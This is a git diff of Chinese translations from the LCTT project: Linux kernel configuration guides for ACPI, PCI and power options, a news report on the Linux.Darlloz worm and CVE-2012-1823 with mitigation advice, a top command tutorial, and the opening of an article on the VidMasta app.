+sysfs是位于/sys/的虚拟文件系统。这个虚拟文件系统包含了关于设备的信息。当进入/sys/时,它似乎是硬盘的一部分,但是这个并不是一个真正的挂载点。这些文件实际存在于内存中。这与/proc/是同一个概念。 + +注意:"/sysfs/"是一个文件夹,而"/sysfs"则可以是一个根目录下名为"sysfs"的文件。许多Linux用户会混淆这两种命名约定。 + +如果启用了上面的选项,那么你可以设置"Maximum number of user space wakeup sources (0 = no limit) (PM\_WAKELOCKS\_LIMIT)"。最好选择默认,那么你就可以启用垃圾收集器(Garbage collector for user space wakeup sources (PM\_WAKELOCKS\_GC))。垃圾收集是一种内存管理方式。 + +注意: 在需要更多内存的系统中,通常最好在大多数情况下尽可能启用垃圾收集。不然内存会消耗得更快且杂乱。 + +下一个电源选项关于IO设备(Run-time PM core functionality (PM\_RUNTIME))。这个选项允许IO硬件在运行时进入低功耗状态。硬件必须支持这个才行,不是所有硬件都支持。 + +与其他许多内核组件一样,如果启用了(Power Management Debug Support),电源管理代码同样有调试支持。我禁用了这个选项。 + +注意: 注意这些我引用/显示的配置工具上的选项或问题不再显示选项代码(括号间所有的大写字母)。这是因为我没有使用基于ncurses的配置工具(make menuconfig)而是使用默认工具去得到选项、设置和问题。记住,"make config"缺乏保存当前进度的能力。 + +在这之后,配置工具会启用"ACPI (Advanced Configuration and Power Interface) Support"。最好允许这个电源管理规范。通常配置工具会启用这个特性。 + +为了允许向后兼容,启用"Deprecated /proc/acpi files"。新的实现使用更新的在/sys下的实现。我禁用了这个选项。一个相似的问题询问关于"Deprecated power /proc/acpi directories"。通常上,如果你禁用了这些文件,你不再需要这些文件夹,所以我禁用了他们。一些旧的程序可能会使用这些文件和文件夹。如果你在给旧的的Linux系统上编译一个新的内核,最好启用这个选项。 + +下面,我们有另外一个文件接口可以启用或者禁用(EC read/write access through)。这会在/sys/kernek/debug/ec下创建一个嵌入式控制器接口。嵌入式控制器通常在笔记本中读取传感器,内核代码通过系统的BIOS表提供的ACPI代码访问嵌入式控制器。 + +这里有另外一个可以启用或者禁用的向后兼容特性 (Deprecated /proc/acpi/event support)。acpi守护进程可能会读取/proc/api/event来管理ACPI生成的驱动。不同于这个接口,守护进程使用netlink事件或者输入层来得到送给用户空间的事件,acpi守护进程管理ACPI事件。 + +下一个选项允许开发者启用一个特性,它会通知内核现在使用的是交流电源(AC Adapter)还是电池。下一个选项从/proc/acpi/battery/ (Battery)中提供电池信息。 + +为了内核在电源/睡眠按钮按下或者盖子合上时不同表现,启用这个“按钮”选项(Button)。这些事件在/proc/acpi/event/中控制。比如这样的行为,如果在用户账户的电源选项启用了挂起,当笔记本电脑的盖子关闭后系统将会挂起。 + +下一个ACPI扩展是针对显卡的(Video)。 + +ACPI风扇控制可以被启用/禁用(Fan)。最好启用ACPI风扇管理,这有助于节能。 + +我们正在进一步配置内核中,但在接下来的文章中还有更多要做。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-5.4424/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/The Linux Kernel/10 The Linux Kernel--Configuring the Kernel Part 6.md b/published/The Linux Kernel/10 The Linux Kernel--Configuring the Kernel Part 6.md similarity index 70% rename from translated/The Linux Kernel/10 The Linux Kernel--Configuring the Kernel Part 6.md rename to published/The Linux Kernel/10 The Linux Kernel--Configuring the Kernel Part 6.md index 7cbd2964c7..203a48c0e6 100755 --- a/translated/The Linux Kernel/10 The Linux Kernel--Configuring the Kernel Part 6.md +++ b/published/The Linux Kernel/10 The Linux Kernel--Configuring the Kernel Part 6.md @@ -1,34 +1,33 @@ -10 Linux 内核: 配置内核 (Part 6) +戴文的Linux内核专题:10 配置内核(6) ================================================================================ -![](http://www.linux.org/attachments/slide-jpeg.464/) 欢迎来到下一篇关于内核配置文章!还有大量的选项需要配置。这篇文章将主要讨论PCI和ACPI。 -这里我们可以启用由ACPI控制的扩展坞和可移动驱动器槽的支持(Dock)。记住,ACPI(Advanced Configuration and Power Management Interface)是一个电源管理系统。扩展坞是一种其他的设备通过额外的接口插入的设备。扩展坞可能可以容纳许多不同的端口和连接器。所以一个基于ACPI控制的扩展坞是一个自身由ACPI控制的扩展坞。驱动器槽是一套可以增加硬盘的设备,这也可以由ACPI管理。 +这里我们可以启用由ACPI控制的扩展坞和可移动驱动器槽的支持(Dock)。记住,ACPI(Advanced Configuration and Power Management Interface)是一个电源管理系统。扩展坞是一种其他的设备通过额外的接口插入的设备。扩展坞可以容纳许多不同的端口和连接器。一个ACPI控制的扩展坞是指其电源管理是通过ACPI进行的。驱动器槽是一套可以增加硬盘的设备,这也可以由ACPI管理。 -下面,我们允许ACPI用来管理空闲的CPU(Processor)。这会让处理器在空闲时进入ACPI C2或者C3状态。这可以节省电源并降低CPU芯片的温度。处理器只在100%没有占用时才进入空闲状态。没有程序可以请求一段时间的CPU资源。 +下面,我们允许ACPI用来管理空闲的CPU(Processor)。这会让处理器在空闲时进入ACPI C2或者C3状态。这可以节省电源并降低CPU芯片的温度。处理器只在100%没有占用时才进入空闲状态。没有程序必须请求一个特定时间的CPU资源。 -CPU电源有四个状态 - C0、C1、C2和C3。C0是操作激活状态。C1(Halt)是一个不执行指令激活状态,但是可以立刻执行指令。C2(Stop-Clock)是一种断电状态。C3(Sleep)是一种比C2更彻底的断电状态。在C3状态中,缓存现在不再同步或者管理知道CPU离开这个状态。第五个状态称作C1E(Enhanced Halt State),他拥有低功耗。 +CPU电源有四个状态 - C0、C1、C2和C3。C0是操作激活状态。C1(Halt)是一个不执行指令激活状态,但是可以立刻执行指令。C2(Stop-Clock)是一种断电状态。C3(Sleep)是一种比C2更彻底的断电状态。在C3状态中,现在缓存不再被同步或者管理,直到CPU离开这个状态。第五个状态称作C1E(Enhanced Halt State),他拥有低功耗。 -如果启用了IPMI驱动,那么ACPI可以访问BMC控制器(IPMI)。基板管理控制器(BMC)是一种管理软件和硬件间连接的微控制器。智能平台管理接口(IPMI)是一种框架,通过直接的硬件层面而不是硬件层面或者操作系统层面来管理计算机。 +如果启用了IPMI驱动,那么ACPI可以访问BMC控制器(IPMI)。基板管理控制器(BMC)是一种管理软件和硬件间连接的微控制器。智能平台管理接口(IPMI)是一种框架,通过直接的硬件层面而不是登录shell或者操作系统层面来管理计算机。 -ACPi v4.0过程聚合器允许内核应用一个CPU配置到所有系统中的处理器中(Processor Aggregator)。截止到ACPI v4.0,只有idle状态可以用这个方式配置。 +ACPI v4.0进程聚合器允许内核应用一个CPU配置到所有系统中的处理器中(Processor Aggregator)。截止到ACPI v4.0,只有idle状态可以用这个方式配置。 接下来,可以启用ACPI热区(Thermal Zone)。多数硬件支持这个特性。这允许风扇的电源由ACPI管理。 -如果启用这个选项,自定义DSDT可以链接到内核。在这个设置中,开发者必须在文件中包含完整的路径名。系统差异表(DSDT)是一个包含了系统支持的电源事件信息的文件。它不需要输入路径名这些表存在于固件中。内核会帮你处理这些。这个主要的目的是用于如果开发者需要使用不同于设备内置的表时用到。 +如果启用这个选项,自定义DSDT可以链接到内核。在这个设置中,开发者必须在文件中包含完整的路径名。系统差异表(DSDT)是一个包含了系统支持的电源事件信息的文件。它不需要输入路径名,这些表存在于固件中。内核会帮你处理这些。这个主要的目的是用于如果开发者需要使用不同于设备内置的表时用到。 任意ACPI表都可以通过initrd来覆盖(ACPI tables override via initrd)。ACPI表是指示如何控制并与硬件交互的基础规则和指令。 -像内核的其他部分一样,ACPI系统也可以生成调试信息(Debug Statements)。像其他调试特性一样,或许希望禁用它并省下50KB。 +像内核的其他部分一样,ACPI系统也可以生成调试信息(Debug Statements)。像其他调试特性一样,你或许希望禁用它并省下50KB。 -启用下面的特性会为受系统检测每个PCI插槽(PCI slot detection driver)创建文件(/sys/bus/pci/slots/)。一个PCI插槽是在PCI主板上的一个端口,它允许用户接上其他的PC设备。PCI是主板的一种类型。PCI是指组件互相通信的方式。有些应用程序可能需要这些文件。 +启用下面的特性会为系统检测到的每个PCI插槽(PCI slot detection driver)创建文件(/sys/bus/pci/slots/)。一个PCI插槽是在PCI主板上的一个端口,它允许用户接上其他的PC设备。PCI是主板的一种类型。PCI是指组件互相通信的方式。有些应用程序可能需要这些文件。 -电源管理定时器是另外一种电源管理系统(Power Management Timer Support)。这是许多系统追踪时间的方式。这个需要更少的电源。处理器的空闲、电压/频率调节和节流都不会影响这个定时器。大量的系统需要使用这个特性。 +电源管理定时器是另外一种电源管理系统(Power Management Timer Support)。这是许多系统追踪时间的方式。这个只需要很少的能源。处理器的空闲、电压/频率调节和节流都不会影响这个定时器。大量的系统需要使用这个特性。 下面,可以启用ACPI模块和容器设备驱动(Container and Module Devices)。这会启用处理器、内存和节点的热插拔支持。它需要NUMA系统。 -下面的驱动提供对ACPI内存的热插拔支持(Memory Hotplug)。有些设备甚至启用这个驱动也不支持热插拔。如果驱动以模块形式加入,那么模块将会被acpi_memhotplug调用。 +下面的驱动提供对ACPI内存的热插拔支持(Memory Hotplug)。有些设备甚至启用这个驱动也不支持热插拔。如果驱动以模块形式加入,那么模块将会被acpi\_memhotplug调用。 注意:对于内核某个特定的功能,硬件、BIOS和固件在必须支持时会有问题。有些系统的BIOS是不控制硬件的。这种类型的BIOS通常不会限制特性。如果内核确实有一个特定的功能,硬件必须有能力完成这样的任务。 @@ -42,21 +41,21 @@ APEI是ACPI的错误接口(ACPI Platform Error Interface (APEI))。APEI从芯片 当"SFI (Simple Firmware Interface) Support" 启用后,硬件固件可以发送消息给操作系统。固件与操作系统间的通信通过内存中的静态表。SFI-only的计算机的内核工作需要这个特性。 -想要改变处理器的时钟速度和运行时,就启用这个特性(CPU Frequency scaling)。CPU频率调整意味着改变处理器的时钟速度。这个驱动可以用于降低时钟频率以保留电源。 +想要改变处理器的时钟速度和运行时,就启用这个特性(CPU Frequency scaling)。CPU频率调整意味着改变处理器的时钟速度。这个驱动可以用于降低时钟频率以节能。 -下面是另外一个电源管理子系统(CPU idle PM support)。当处理器不在活跃状态时,它最好处在有效的空闲方式来减少电源消耗和减少CPU损耗。减少电源消耗同样可以降低内部元件的产热。 +下面是另外一个电源管理子系统(CPU idle PM support)。当处理器不在活跃状态时,它最好处在有效的空闲方式来减少电源消耗和减少CPU损耗。减少电源消耗同样可以降低内部元件的发热。 Linux内核提供了很多CPU空闲驱动。在多处理器系统上,一些用户可能有一个理由在每个CPU上使用不同的驱动(Support multiple cpuidle drivers)。启用这个驱动可以允许用户给每个处理器设置不同的驱动。 对于Intel处理器,内核有一个特别为管理这类CPU芯片空闲的驱动(Cpuidle Driver for Intel Processors)。 -当内存芯片空闲时,这些同样可以低功耗(Intel chipset idle memory power saving driver)。这个驱动是特别为支持IO AT的Intel设备。 +当内存芯片空闲时,这些同样可以处于低功耗状态(Intel chipset idle memory power saving driver)。这个驱动是特别支持IO AT的Intel设备的。 不同的计算机使用不同类型的主板(PCI support)。其中一种类型是PCI。这个驱动允许内核运行在PCI主板上。 下面,我们可以启用/禁用 "Support mmconfig PCI config space access"。 -接下来,我们有一个选择启用/禁用主桥窗口驱动(Support mmconfig PCI config space access)。警告:这个驱动还不完全(至少在3.9.4中是这样)。 +接下来,我们有一个选择启用/禁用主桥窗口驱动(Support mmconfig PCI config space access)。警告:这个驱动还没有完成(至少在3.9.4中是这样)。 像上面提到的主板,还有另一种类型的主板。写一个选项是提供"PCI Express (PCIe) support"的驱动。PCIe是一种改进并且更快速的PCI。 @@ -68,7 +67,7 @@ Linux内核提供了很多CPU空闲驱动。在多处理器系统上,一些用 下面的设置提供了操作系统控制PCI的活跃状态和时钟电源管理(PCI Express ASPM control)。通常上,固件会控制ASPM,但是这个特性允许操作系统采取控制。 -再说一次,像内核的许多组件一样,这里提供了ASPM的调试支持(Debug PCI Express ASPM)。 +如前面一样,像内核的许多组件一样,这里提供了ASPM的调试支持(Debug PCI Express ASPM)。 下面,在这个菜单选择"Default ASPM policy"。 @@ -78,14 +77,13 @@ Linux内核提供了很多CPU空闲驱动。在多处理器系统上,一些用 下一个选项允许PCI核心检测是否有必要启用PCI资源重分配(Enable PCI resource re-allocation detection)。 -当在Linux上托管一个虚拟操作系统时,它有时可以帮助为虚拟系统保留PCI设备(PCI Stub driver)。在系统虚拟化下,一个操作系统可能在另一个系统的内部或者旁边运行。有时它们会竞争资源。可以为客户机保留设备可以减小竞争和增加性能。 +当在Linux上托管一个虚拟操作系统时,它有时可以用于为虚拟系统保留PCI设备(PCI Stub driver)。在系统虚拟化下,一个操作系统可能在另一个系统的内部或者并行。有时它们会竞争资源。可以为客户机保留设备可以减小竞争和增加性能。 下面的驱动允许超传输设备(hypertransport devices)使用中断(Interrupts on hypertransport devices)。HyperTransport是一种系统/协议总线用于处理器之间的高速通信。 下一个驱动用于PCI虚拟化,它允许虚拟设备间共享它们的物理资源(PCI IOV support)。 -The PCI Page Request Interface (PRI) gives PCI devices that are behind an IOMMU (input/output memory management unit) to recover from page faults (PCI PRI support). A page fault is not an error; it refers to the event of software trying to access data not on physical memory. -PCI页面请求接口(PRI)使在IOMMU(输入/输出内存管理单元)之后的PCI设备能够从页错误中恢复(PCI PRI support)。页错误不是一种错误;它指的是软件尝试访问不在物理内存上的数据的事件 +PCI页面请求接口(PRI)使在IOMMU(输入/输出内存管理单元)之后的PCI设备能够从页错误中恢复(PCI PRI support)。页错误不是一种错误;它指的是软件尝试访问不在物理内存上的数据的事件。 再次说明,你会在之后的文章中看到更多的需要配置Linux内核特性。 @@ -93,6 +91,6 @@ PCI页面请求接口(PRI)使在IOMMU(输入/输出内存管理单元)之后的P via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-6.4457/ -译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/This new worm targets Linux PCs and embedded devices.md b/published/This new worm targets Linux PCs and embedded devices.md new file mode 100644 index 0000000000..b60da7d908 --- /dev/null +++ b/published/This new worm targets Linux PCs and embedded devices.md @@ -0,0 +1,40 @@ +新蠕虫能感染 Linux 系统和嵌入式设备! +================================================================================ + +**来自赛门铁克研究员的消息,这个病毒通过2012年出现的 PHP 漏洞传播** + +据美国国际数据集团(IDG)的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机,其变种还会对运行在其他芯片架构上的设备(诸如家用路由器和机顶盒)造成威胁。 + +根据赛门铁克研究员的介绍,这种病毒利用 php-cgi 上的一个漏洞进行传播,这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口(CGI)的配置环境下被执行。此漏洞的代号为 CVE-2012-1823(通过这个漏洞,攻击者可以远程执行任意代码,所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注)。2012年5月份,PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。 + +这个赛门铁克的研究员在[博客][1]中写道:这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码(PoC:proof of concept,概念验证。利用目标计算机的漏洞,为对其进行攻击而设计的代码称为 exploit,而一个没有充分利用漏洞的 exploit,就是 PoC —— 译者注)。 + +“在传播过程中,这段蠕虫代码会随机产生 IP 地址,通过特殊途径,利用普通的用户名密码发送 HTTP POST 请求,探测漏洞”,研究员解释道:“如果一个目标没有打上 CVE-2012-1823 的补丁,这台机器就会从病毒服务器下载蠕虫病毒,之后寻找下一个目标。” + +这个唯一的蠕虫变种目前为止只感染了 x86 系统,这是因为这个病毒的二进制格式为 Intel 架构下的 ELF (Executable and Linkable Format)格式。 + +然而这个研究员警告说,黑客也为其他架构开发了病毒,包括 ARM,PPC,MIPS 和 MIPSEL。 + +这些计算机架构主要用于诸如家用路由器、网络监视器、机顶盒以及其他嵌入式设备。 + +“攻击者显然试图在最大范围内感染运行 Linux 的设备”,研究员又说:“然而我们还没有证实他们有没有攻击非 PC 设备。” + +很多嵌入式设备的固件都使用 Linux 作为操作系统,并且使用 PHP 作为 Web 服务管理界面。这些设备比 PC 机 或服务器更容易被攻陷,因为它们不会经常更新软件。 + +在嵌入式设备为一个漏洞打上补丁,从来都不是件容易的事。很多厂商都不会定期公布更新信息,而当他们公布时,用户也不会被告知说这些更新解决了哪些安全问题。 + +并且,在嵌入式设备上更新软件比在计算机上需要更多的工作,以及更多的技术知识。用户需要知道哪些网站能提供这些更新,然后下载下来,通过 Web 界面更新到他们的设备中。 + +“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞,”啰嗦的研究员说:“我们面临的另一个问题是,即使用户注意到他们用的是有漏洞的设备,这些设备的供应商却没有提供补丁,原因是技术落后,或者完全就是硬件的限制:内存不足,或 CPU 太慢,不足以支持这些软件的新版本。” + +“为了保护他们的设备免受蠕虫感染,用户需要确认这些设备是否运行在最新的固件版本上,必要的话,升级固件,设置高强度的管理员密码,在防火墙那儿,或任何独立的设备那儿,屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的赛门铁克研究员说道。 + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices diff --git a/published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md new file mode 100644 index 0000000000..74c801bcc6 --- /dev/null +++ b/published/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -0,0 +1,305 @@ +30个实例详解TOP命令 +================================================================================ + +Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中,我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。 + +(译注:不同发行版的top命令在各种细节有不同,如果发现不同时,请读你的帮助手册和命令内的帮助。) + +## 1. Top 命令输出: ## + +首先,让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义:默认运行时,top命令会显示如下输出: + +![默认显示](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) + +前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。 + +### 1.1 系统运行时间和平均负载: ### + +![显示运行时间](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) + +top命令的顶部显示与uptime命令相似的输出。 + +这些字段显示: + +- 当前时间 +- 系统已运行的时间 +- 当前登录用户的数量 +- 相应最近5、10和15分钟内的平均负载。 + +可以使用'l'命令切换uptime的显示。 + +### 1.2 任务: ### + +![任务概况](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) + +第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态)。这些进程概括信息可以用't'切换显示。 + +### 1.3 CPU 状态: ### + +![CPU状态显示](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) + +下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示: + +- us, user: 运行(未调整优先级的) 用户进程的CPU时间 +- sy,system: 运行内核进程的CPU时间 +- ni,niced:运行已调整优先级的用户进程的CPU时间 +- wa,IO wait: 用于等待IO完成的CPU时间 +- hi:处理硬件中断的CPU时间 +- si: 处理软件中断的CPU时间 +- st:这个虚拟机被hypervisor偷去的CPU时间(译注:如果当前处于一个hypervisor下的vm,实际上hypervisor也是要消耗一部分CPU处理时间的)。 + +可以使用't'命令切换显示。 + +### 1.4 内存使用: ### + +![内存使用情况](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) + +接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。 + +物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换部分显示的是:全部、已使用、空闲和缓冲交换空间。 + +内存显示可以用'm'命令切换。 + +### 1.5 字段/列: ### + +![任务信息列](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) + +在横向列出的系统属性和状态下面,是以列显示的进程。不同的列代表下面要解释的不同属性。 + +默认上,top显示这些关于进程的属性: + +**PID** + +进程ID,进程的唯一标识符 + +**USER** + +进程所有者的实际用户名。 + +**PR** + +进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。 + +**NI** + +进程的nice值(优先级)。越小的值意味着越高的优先级。 + +**VIRT** + +进程使用的虚拟内存。 + +**RES** + +驻留内存大小。驻留内存是任务使用的非交换物理内存大小。 + +**SHR** + +SHR是进程使用的共享内存。 + +**S** + +这个是进程的状态。它有以下不同的值: + +- D - 不可中断的睡眠态。 +- R – 运行态 +- S – 睡眠态 +- T – 被跟踪或已停止 +- Z – 僵尸态 + +**%CPU** + +自从上一次更新时到现在任务所使用的CPU时间百分比。 + +**%MEM** + +进程使用的可用物理内存百分比。 + +**TIME+** + +任务启动后到现在所使用的全部CPU时间,精确到百分之一秒。 + +**COMMAND** + +运行进程所使用的命令。 + +还有许多在默认情况下不会显示的输出,它们可以显示进程的页错误、有效组和组ID和其他更多的信息。 + +## 2. 交互命令: ## + +我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。 + +### 2.1 ‘h’: 帮助 ### + +首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。 + +![帮助菜单](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) + +### 2.2 ‘\’ 或者 ‘\’: 刷新显示 ### + +top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。 + +### 2.3 ‘A’: 切换交替显示模式 ### + +这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口(译注:分别关注不同的字段): + +1. Def (默认字段组) +2. Job (任务字段组) +3. Mem (内存字段组) +4. Usr (用户字段组) + +这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。(译注:只有当前窗口才会接受你键盘交互命令) + +![交替显示](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) + +我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。 + +![在交替显示中选择窗口](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) + +### 2.4 ‘B’: 触发粗体显示 ### + +一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。 + +![关闭粗体](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) + +### 2.5 ‘d’ 或‘s’: 设置显示的刷新间隔 ### + +当按下'd'或's'时,你将被提示输入一个值(以秒为单位),它会以设置的值作为刷新间隔。如果你这里输入了1,top将会每秒刷新。 + +![刷新间隔l](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) + +### 2.6 ‘l’、‘t’、‘m’: 切换负载、任务、内存信息的显示 ### + +这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。 + +![不显示平均负载](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) + +![不显示CPU概况](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) + +![不显示内存和交换内存概况](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) + +![上面三个全不显示](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) + +### 2.7 ‘f’: 字段管理 ### + +用于选择你想要显示的字段。用'*'标记的是已选择的。 + +![管理显示列](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) + +上下光标键在字段内导航,左光标键可以选择字段,回车或右光标键确认。 + +按'<'移动已排序的字段到左边,'>'则移动到右边。 + +### 2.8 ‘R’: 反向排序 ### + +切换反向/常规排序。 + +### 2.9 ‘c’: 触发命令 ### + +切换是否显示进程启动时的完整路径和程序名。 + +![完整命令路径](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) + +### 2.10 ‘i’: 空闲任务 ### + +切换显示空闲任务。 + +![不显示空闲命令](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) + +### 2.11 ‘V’: 树视图 ### + +切换树视图。 + +![树视图](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) + +### 2.12 ‘Z’: 改变配色 ### + +按下'Z'向用户显示一个改变top命令的输出颜色的屏幕。可以为8个任务区域选择8种颜色。 + +![定制颜色](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) + +下面显示的是4中颜色显示的top视图。 + +![彩色显示](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) + +### 2.13 ‘z’: 切换彩色显示 ### + +切换彩色,即打开或关闭彩色显示。 + +### 2.14 ‘x’ 或者 ‘y’ ### + +切换高亮信息:'x'将排序字段高亮显示(纵列);'y'将运行进程高亮显示(横行)。依赖于你的显示设置,你可能需要让输出彩色来看到这些高亮。 + +![X 和 Y高亮](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) + +### 2.15 ‘u’: 特定用户的进程 ### + +显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。 + +![raghu的进程](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) + +### 2.16 ‘n’ 或 ‘#’: 任务的数量 ### + +设置最大显示的任务数量 + +![设置最大显示的任务数量](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) + +### 2.17 ‘k’: 结束任务 ### + +top命令中最重要的一个命令之一。用于发送信号给任务(通常是结束任务)。 + +![杀死一个任务](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) + +### 2.18 ‘r’: 重新设置优先级 ### + +重新设置一个任务的调度优先级。 + +## 3. 命令行选项: ## + +这些命令行选项与上面讨论的命令大多相同。top的输出可以用命令交互操作,但是你也可以带参数运行top来设置你想要的效果。 + +### 3.1 -b: 批处理模式 ### + +-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。 + +### 3.2 -c: 命令/程序名 触发: ### + +如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示(是否显示完整路径)。 + +### 3.3 -d: 设置延迟间隔 ### + +设置top的显示间隔(以秒计)。比如。 + + $ top -d 1 + +将会以1秒的刷新间隔启动top。 + +### 3.4 -i: 切换显示空闲进程 ### + +这个选项设置top命令的上一次记住的**相反的**'i'状态。 + +### 3.5 -n: 设置迭代数量 ### + +用-n选项,你可以设置top退出前迭代的次数。 + + $ top -n 3 + +将会在刷新输出3次后退出。 + +### 3.6 -p: 监控特定的PID ### + +你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。 + +### 3.7 -u 或 -U: 用户名 或者 UID ### + +可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的,同时只可以使用这其中一个选项。当你试图组合使用这些选项时,你会得到一个错误: + + $ top -p 28453 -u raghu + top: conflicting process selections (U/p/u) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/VidMasta--A Desktop Application For Searching Movies And TV Shows.md b/published/VidMasta--A Desktop Application For Searching Movies And TV Shows.md new file mode 100644 index 0000000000..bee782149c --- /dev/null +++ b/published/VidMasta--A Desktop Application For Searching Movies And TV Shows.md @@ -0,0 +1,104 @@ +VidMasta:搜索和观看在线电影、电视剧的神器 +=== + +你是否曾经想要从桌面搜索电影或电视剧,或者搜寻能够随时为你搜索这些东西的应用程序?这儿有一个应用可以满足你的需要。 + +[**VidMasta**][1]是一个免费的、跨平台的的应用,它将搜索、浏览、评论、观看和下载那些在线分享的视频和电视剧等功能融为一体。它可以运行在Linux、Windows和Mac OS X上。 + +###特点 + +使用VidMasta,你可以做到以下这些: + +- 观看或下载任何格式的电影或电视剧 +- 支持的格式是:TV,DVD,720P,1080P。 +- 匿名链接并自动过滤不受信任的IP,可以使用代理,还可以使用加密连接。 +- 搜索算法可以为电影下载链接自动匹配最佳下载源 +- “流行电影”和“流行电视剧”选项可以显示并让你下载当前最流行的电影/电视剧 +- 下载电影字幕 +- 可设置每次搜素结果的个数 +- 设置下载的视频文件的扩展名 +- 自动按照受欢迎度为搜索结果排序 +- 可以听也可以阅读影视概要 +- 观看预告片 +- 查看上映时间和电影评价 +- 多线程搜索和下载 +- 能够侦测电影盒子设置 +- 可以和[PeerBlock][2]集成(这项功能只能在Windows2000,xp,Vista和Windows 7上使用) +- 除了[Java][3](版本为6或以上)外,不再需要额外的软件 +- 客户端可以自动更新 + +###在Linux上安装VidMasta + +在安装VidMasta之前,你应该在你的Linux桌面系统中安装最新版的Java。从[这儿][4]下载最新版。进入你下载的文件夹,使用下面的命令安装它: + + sudo java -jar vidmasta-setup-16.7.jar + +运行后,就会出现像下面这样的画面。点击下一步继续。 + 